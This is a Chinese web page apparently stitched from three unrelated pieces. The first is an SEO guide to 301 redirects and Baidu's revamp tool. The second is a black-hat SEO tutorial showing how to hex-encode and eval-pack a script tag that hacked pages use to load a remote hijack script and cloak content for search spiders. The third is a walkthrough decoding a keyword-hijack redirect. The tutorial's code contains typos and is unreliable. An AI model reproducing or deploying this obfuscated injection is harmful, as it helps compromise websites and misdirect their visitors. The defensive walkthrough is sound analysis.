即使網(wǎng)站在上線前已經(jīng)有比較完善的頁面布局,網(wǎng)站結(jié)構(gòu),在發(fā)展發(fā)展的過程中,也會(huì)因?yàn)楦鞣N各樣的原因改版,這個(gè)時(shí)候,301永久重定向的作用就體現(xiàn)出來了。
一般來講,網(wǎng)站改版分為兩種。一種是前端頁面改版。另外一種是鏈接結(jié)構(gòu)發(fā)生變化如更換建站系統(tǒng)的改版。前者不用使用301,后者則必須使用301。注:即使是前端頁面的改版,也會(huì)對(duì)主網(wǎng)站的流量造成影響,其中的原因應(yīng)該是關(guān)鍵詞的位置與頻次因?yàn)轫撁娴淖兓l(fā)生了變化。
對(duì)于鏈接結(jié)構(gòu)發(fā)生變化的網(wǎng)站來講,需要采用一些方法,將流量損失的程度減小到最低,對(duì)于這種情況,我有幾個(gè)方面的建議:
一:預(yù)估網(wǎng)站經(jīng)歷改版所造成的損失。套用百度站長平臺(tái)的一句話“改性別也別改域名”,無論你采用多完美的改版方法,網(wǎng)站的流量波動(dòng),關(guān)鍵詞排名波動(dòng)幾乎是不可避免的。前段時(shí)間seo每天一貼對(duì)網(wǎng)站的結(jié)構(gòu)做了部分調(diào)整,seo主關(guān)鍵詞的排名就受到了影響,雖然不能預(yù)估在這個(gè)時(shí)間段內(nèi)損失了多少流量,但損失是肯定的。
二:確定一定以及肯定使用301永久重定向,不要使用302跳轉(zhuǎn)。鏈接結(jié)構(gòu)發(fā)生變化,要讓老網(wǎng)址url跳轉(zhuǎn)到對(duì)應(yīng)的新url上。對(duì)于這個(gè)問題,需要告知領(lǐng)導(dǎo)層,告知正確改版方法的重要性,讓領(lǐng)導(dǎo)層來推動(dòng)改版工作的展開,而不是簡單地與程序員溝通。從技術(shù)層面來講,不管網(wǎng)站語言是php還是asp,都是有對(duì)應(yīng)的方法的。另外,著重注意內(nèi)容上面跳轉(zhuǎn)的一一對(duì)應(yīng),老首頁跳轉(zhuǎn)到新首頁,老目錄跳轉(zhuǎn)到新目錄,老內(nèi)頁跳轉(zhuǎn)到新內(nèi)頁。對(duì)于小型網(wǎng)站來講,還有一個(gè)方法也可以使用,那就是把內(nèi)容頁的url設(shè)置成主域名/id.html的形式,這樣如果遇到改版,就會(huì)很輕松的解決。
三:非常十分以及極其要求使用百度站長平臺(tái)的“網(wǎng)站改版”工具。百度是國內(nèi)搜索引擎中的老大,網(wǎng)站做這樣大的變動(dòng),得通知百度爬蟲,當(dāng)然,如果條件允許,也可分別通知好搜以及搜狗。這里也有幾種情況:
如果域名一致,只是目錄及內(nèi)容頁url改變,那么你就可以使用“站點(diǎn)改版”。
如果域名不一致,有老域名和新域名,原來所有的url與新的url不一致,就需要使用“改版規(guī)則”或者“新舊url對(duì)”。具體操作,可查閱相關(guān)說明。這里也貼出來,如下:
1、需要您在站長平臺(tái)同一賬號(hào)驗(yàn)證新舊站點(diǎn)的權(quán)限。
2、在您提交改版規(guī)則之前,請(qǐng)確保您的網(wǎng)站已經(jīng)設(shè)置好301跳轉(zhuǎn),并且是跳轉(zhuǎn)一一對(duì)應(yīng)的關(guān)系。
3、該工具針對(duì)的是網(wǎng)站鏈接的改變,網(wǎng)站內(nèi)容改版不適用于該工具。
4、改版完成之后,在百度搜索前端會(huì)短時(shí)間內(nèi)就看到替換效果,新站流量提升較快,索引量緩慢轉(zhuǎn)移。
5、正常的改版過程是:規(guī)則校驗(yàn)中(0.5-2小時(shí))->改版進(jìn)行中(0.5-2天)->改版完成;其他異常狀態(tài)請(qǐng)關(guān)注詳細(xì)錯(cuò)誤信息。
6、當(dāng)狀態(tài)為“部分改版中”時(shí),說明您的規(guī)則校驗(yàn)成功率不高,只能對(duì)符合規(guī)則部分的鏈接進(jìn)行改版,進(jìn)度較慢,您可以刪除原有規(guī)則重新提交。
7、您提交的三類改版形式,不能有交叉或者包含關(guān)系,即不能有一條鏈接同時(shí)屬于多個(gè)改版形式。
8、改版跳轉(zhuǎn)關(guān)系請(qǐng)長期保持,直到新站流量完全穩(wěn)定。
9、對(duì)于以前提交的網(wǎng)站改版,現(xiàn)改版類型標(biāo)識(shí)為“舊版站點(diǎn)”或“舊版目錄”,新版本會(huì)兼容持續(xù)處理,但是建議按照新版本提交改版規(guī)則,有助于提高處理速度。
四:通過百度站長平臺(tái)的鏈接提交工具,指引爬蟲爬取更新后的網(wǎng)址url。可以使用自動(dòng)提交中的sitemap功能,將最新的改版后的url以絕對(duì)地址的形式,放置到sitemap文件中。另外,改版前的sitemap可在改版后約7天左右的時(shí)間去掉。
五:注意觀察百度站長平臺(tái)的索引量數(shù)據(jù)。如果新url的索引量起來了,就說明使用的網(wǎng)站改版方法起效了。注意不同類型的網(wǎng)站,不同體量網(wǎng)站的起效時(shí)間有區(qū)別。
實(shí)際上,一旦確定網(wǎng)站需要改版,就需要考慮2個(gè)東西,一個(gè)是301永久重定向,另外一個(gè)是百度站長平臺(tái)的改版工具。
一些黑帽SEO要對(duì)跳轉(zhuǎn)的js代碼進(jìn)行加密,學(xué)習(xí)JavaScript加密方式,當(dāng)我們網(wǎng)站被黑時(shí),看到這段代碼就明白這就是快照劫持的代碼,刪掉即可解決網(wǎng)站被黑問題。今天,錯(cuò)誤博客(cuowu.com)分享的內(nèi)容為《黑帽SEO教程為html中的js跳轉(zhuǎn)url加密》。希望對(duì)大家有所幫助。
JavaScript跳轉(zhuǎn)是黑帽SEO中快照劫持常見操作手法,比如在寄生蟲程序使用中,在被黑掉的html或php中增加如下代碼就可以完成快照劫持:
<script type=”text/javascript” src=”http://cuowu.com/ v6.js”></script>
這段JavaScript代碼的作用是引入v6.js文件,v6.js文件中的內(nèi)容為if判斷語句,如果訪問的是百度蜘蛛、360蜘蛛、搜狗蜘蛛等,則顯示劫持的快照內(nèi)容,如果是用戶直接訪問瀏覽器則會(huì)顯示原頁面內(nèi)容。
首先把上面的命令增加為如下:
window[“document”][“write”](‘scritp type=”text/javascript” scr=”https://cuowu.com/ v6.js”‘)</script>;
然后,對(duì)前面雙引號(hào)內(nèi)的內(nèi)容進(jìn)行16進(jìn)制加密,后面單引號(hào)內(nèi)容也同樣進(jìn)行16進(jìn)制加密,依次為:
\x64\x6f\x63\x75\x6d\x65\x6e\x74
\x77\x72\x69\x74\x65
\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73
這個(gè)可以用utf-8轉(zhuǎn)16進(jìn)制加密在線工具即可。錯(cuò)誤博客站長導(dǎo)航里面有。
站長導(dǎo)航(https://cuowu.com/daohang/)
加密完成后變?yōu)椋?/span>
window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;
然后,把上述的js代碼再次補(bǔ)充一下才能正常運(yùn)行,即:
<script type=”text/javascript”>
window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;
</script>
把中間window到</script>;的內(nèi)容利用站長工具的JS混淆加密壓縮就可以得到eval加密形式,錯(cuò)誤博客站長導(dǎo)航里面有。
站長導(dǎo)航(https://cuowu.com/daohang/)
獲得如下加密代碼如下:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))
最終獲得的加密代碼如下:
<script type=”text/javascript”>
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))
</script>
這就是全部的js加密壓縮過程了,解壓過程反過來推就可以了。
以上就是錯(cuò)誤博客(https://cuowu.com/)分享的內(nèi)容為《黑帽SEO為html中的js加密(js混淆與16進(jìn)制加密)》。感謝您的閱讀。更多原創(chuàng)搜索“錯(cuò)誤博客”。
家都知道典型的商業(yè)模式無非2種(廣告、內(nèi)容),圍繞廣告的產(chǎn)品是三級(jí)火箭(搜索引擎、殺毒軟件、瀏覽器)和電商,而圍繞內(nèi)容制作的產(chǎn)品是網(wǎng)絡(luò)文學(xué)、視頻網(wǎng)站、電影制作。不管你是做廣告還是做內(nèi)容都需要有流量支撐,先不講獲取流量的形式及流量獲取成本,今天主要聊一聊流量劫持,如果想要留住現(xiàn)有流量不妨先看看這篇文章,如果你將要進(jìn)入這行更要看看黑暗系流量是怎么回事了!
到底什么是流量劫持,以下是百度百科的介紹:
“流量劫持,是利用各種惡意軟件,木馬修改瀏覽器、鎖定主頁或不停彈出新窗口等方式,強(qiáng)制用戶訪問某些網(wǎng)站,從而造成用戶流量損失的情形。”
----- 百度百科
小白這么一聽也許有點(diǎn)懵,畢竟又是惡意軟件、又是病毒木馬的,想想就嚇人。到底什么才是流量劫持呢?其實(shí)流量劫持很容易理解,舉個(gè)例子,你可以把流量理解成你的目的(例:你去購買水果,這是你的目的),而劫持方式就是引導(dǎo)或改變你的行為(例:剛剛你只想買水果,但由于剛剛受到某些外力影響后你發(fā)生些許變化,你購買水果的意愿變得不強(qiáng)烈或改變其本來意愿。你剛剛本來要買水果最后卻沒有買, 你本來想去 A店買水果,結(jié)果卻去了B店),但為什么會(huì)發(fā)生這類事件嗎,其實(shí)最終的原因都?xì)w于信息,明確的講就是廣告。繞了半天又繞道最初的商業(yè)模式了(廣告),但凡廣告都要變現(xiàn),變現(xiàn)最原始的基礎(chǔ)為網(wǎng)盟變現(xiàn)。如何從網(wǎng)盟能收割更多流量是每個(gè)IT從業(yè)者必須要思考的。網(wǎng)盟那么貴怎么辦,那就劫持吧。比較常用的流量劫持方式: DNS 劫持、HTTP 劫持、瀏覽器劫持、路由器劫持等等。今天想給大家講的是哪一種,DNS劫持,HTTP劫持,瀏覽器劫持??? NO NO NO 都不是,今天要跟大家分享的是一種比上述隱蔽性還強(qiáng)的搜索關(guān)鍵詞劫持。
到底什么是搜索關(guān)鍵詞劫持?
比如百度搜索某網(wǎng)站關(guān)鍵詞,結(jié)果百度搜索后的結(jié)果是正確的,但是點(diǎn)擊進(jìn)去之后卻跳轉(zhuǎn)到別的網(wǎng)站上,但直接輸入網(wǎng)址網(wǎng)站木有任何變化。
舉個(gè)例子: 百度 搜索 (淘券吧) , 搞過淘客的小朋友,一看就明白,這是通過 百度下拉選取的關(guān)鍵詞引流(見圖一), 找到網(wǎng)址taojuanba.com.cn 點(diǎn)擊進(jìn)入(圖二) 如果找不到(由于搜索引擎地域排序不同)也可以直接在搜索引擎輸入該域名(圖三)點(diǎn)擊進(jìn)入,網(wǎng)站會(huì)直接跳到 meisipei.com,一個(gè)教育招生單頁(圖四),而直接在 瀏覽器的 地址欄打開網(wǎng)站,網(wǎng)站還是淘客站,沒有發(fā)生任何變化。(原理是根據(jù)搜索引擎的來路關(guān)鍵詞發(fā)生跳轉(zhuǎn),如果非搜索引擎流量則不發(fā)生跳轉(zhuǎn)。)
圖一
圖二
圖三
圖四
也許有很多小伙伴遇到過這個(gè)問題,但又不知道怎么回事,下午小編就幫大家拆解下,希望能給各位小伙伴帶來幫助!
技術(shù)拆解:
第一步我們首先要判斷網(wǎng)站是否為正常狀態(tài)。可以通過第三方工具查看該網(wǎng)頁是否是正常。
http狀態(tài)是否為正常 200 ,說明網(wǎng)站是正常的,可以正常打開,但網(wǎng)頁內(nèi)容是否被篡改呢?
上圖所示,網(wǎng)站正常抓取而非301/302跳轉(zhuǎn)且,首頁首頁類型為 html 文件 即index.html
第二步,檢索下蜘蛛,看看機(jī)器人抓取的內(nèi)容是否為該網(wǎng)站內(nèi)容,以此判斷抓取的頁面內(nèi)容為該頁面而非跳轉(zhuǎn)頁面。
上圖所示,網(wǎng)頁抓取內(nèi)容正常!
第三步:根據(jù)剛剛工具得出的結(jié)論我們判斷出網(wǎng)頁是正常展示,快照內(nèi)容也是正常網(wǎng)頁內(nèi)容
既然 端口 http 政策 , 機(jī)器人抓取正常,網(wǎng)頁快照緩存也正常,有問題的就只能是源碼了。
第四步:查看源碼,除了引用模板外,有個(gè)本地index.js。
第五步:找到index.js , 打開該js ,為 加密狀態(tài) !
本著代碼越是掩飾就有問題的態(tài)度,既然是加密JS ,那咱們就解密吧!
第六步:JS解密 ,解密3次 js為 得到以下內(nèi)容 ,居然 混合 js 達(dá)到了 3次 ,看來也是人才,真不想要人知道,直接二進(jìn)制多好。
居然定向到 daohang.asp,費(fèi)了半天勁怎么是個(gè)頁面啊,還加密肯定有問題,先在地址欄里打開看看,到底是什么鬼?
第七步:我們打開該目標(biāo)地址 /daohang.asp ,爬蟲抓取為空的地址卻發(fā)生了跳轉(zhuǎn)變化 , 跳轉(zhuǎn)至教育單頁。
整個(gè)搜索引擎關(guān)鍵詞劫持過程復(fù)盤完畢,小編其實(shí)有話要說: 剛剛解碼完畢的js 里 self.location 可以直接定向到 你想要跳轉(zhuǎn)的網(wǎng)站 ,可 為什么該站長要加載daohang.asp做二次跳轉(zhuǎn)呢,行內(nèi)的小伙伴請(qǐng)?jiān)谙路搅粞裕唿c(diǎn)贊的小伙伴會(huì)有神秘獎(jiǎng)品噢,不明白或看不懂的小伙伴可以私信會(huì)私信小編,小編會(huì)在電腦的那一邊等你 。
安靜守護(hù)你的世界 - 安界
*請(qǐng)認(rèn)真填寫需求信息,我們會(huì)在24小時(shí)內(nèi)與您取得聯(lián)系。